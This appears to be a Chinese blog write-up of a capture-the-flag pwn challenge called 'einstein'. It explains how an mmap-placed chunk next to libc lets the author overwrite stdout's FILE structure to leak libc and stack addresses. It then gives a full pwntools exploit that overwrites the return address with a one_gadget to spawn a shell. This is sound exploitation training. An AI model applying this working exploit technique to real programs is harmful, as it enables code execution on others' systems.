爱因斯坦?挺有趣的名字^-^
涉及到了堆的一些机制以及stdout,算是对前面那篇文章的一个巩固吧。
静态分析:
┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn10-pwnme]
└─$ checksec --file=einstein
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/kali/glibc-all-in-one-master/libs/2.38-1ubuntu6.3/'
保护全开,程序中有两个任意写,以及一个堆溢出,如何利用这些漏洞得到shell?
首先要想任意写,我们肯定要知道往哪里写,也就是我们需要先泄露出地址,只有一个堆溢出怎么实现泄露地址?在前面文章中我们知道可以通过修改stdout结构体来泄露地址。
首先我们要知道一个概念,创建堆块大多时候用的是malloc/realloc这些函数,但是这是在堆块大小较小的时候,一旦堆块的size超过了某个范围,程序就会采用mmap来创建堆块,用mmap创建的堆块一般在堆和栈之间,在libc的范围内,这个时候我们就可以通过设置合理的offset来覆盖libc中的某些地址,当然,这个时候我们选择覆盖的是IO_2_1_stdout里面的_IO_write_base,把它改成0程序就会从0地址处开始打印内容,也可以直接改_IO_write_ptr的最后一个字节为\xff,这样就会从_IO_write_base一直输出到_IO_write_ptr。
在这之间会泄露出很多地址,belike: ↓↓↓

我们可以看到泄露出来的内容有0x7f76开头的和0x7ffd开头的地址,前者是libc中的地址,而后者在stack里面。
这个时候思路就很清晰了,在泄露出来地址之后我们覆盖ret_addr为one_gadget就行,不过这题由于libc比较特殊,无法直接使用,所以还需要覆盖其他地址用来符合one_gadget的条件。
libc_base:

stack_addr

最后得到shell:

完整的exp:
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process("./einstein")
elf = ELF("./einstein")
libc = ELF("./libc.so.6")
def debug():
gdb.attach(p, "b*$rebase(0x1354)")
#debug()
p.recvuntil("How long is your story ?")
p.sendline(str(0x1000000))
p.recvuntil("What's the distortion of time and space ?")
p.sendline(str(18876304+0x28))
p.recvuntil("use them wisely.")
#payload = flat(0xfbad1887, 0x0, 0x0, 0x0, p16(0))
#p.sendline(payload)
p.send(b'\xff')
p.recv(0x78+5)
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak-2099440
print(hex(libc_base))
p.recv(0x20*4)
stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(stack_addr))
ret_addr = stack_addr - 0x120#(0x7ffd61c65218 - 0x7ffd61c650f8)
print("ret_addr >>>", hex(ret_addr))
#gdb.attach(p)
rbp = ret_addr + 8
one_gadget = libc_base + 0xeb66b
"""
0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
"""
"""
#p.sendline(p64(ret_addr)+b" "+p64(one_gadget))
#p.sendline(p64(shell))
#p.sendline(p64(rbp-0x78)+b" 0")
#p.sendline(p64(0))
"""
p.sendline(f'{ret_addr} {one_gadget}'.encode())
p.sendline(f'{rbp - 0x78} 0'.encode())#符合one_gadget要求
p.recv()
p.interactive()
其实我觉得还可以覆盖成system,然后第二次覆盖rdi寄存器为/bin/sh的地址,这个地址直接在libc里面搜就行。这个就留给读者去复现了。
最近博客迁移,服务器有问题的话可以给我留言。
本文地址: einstein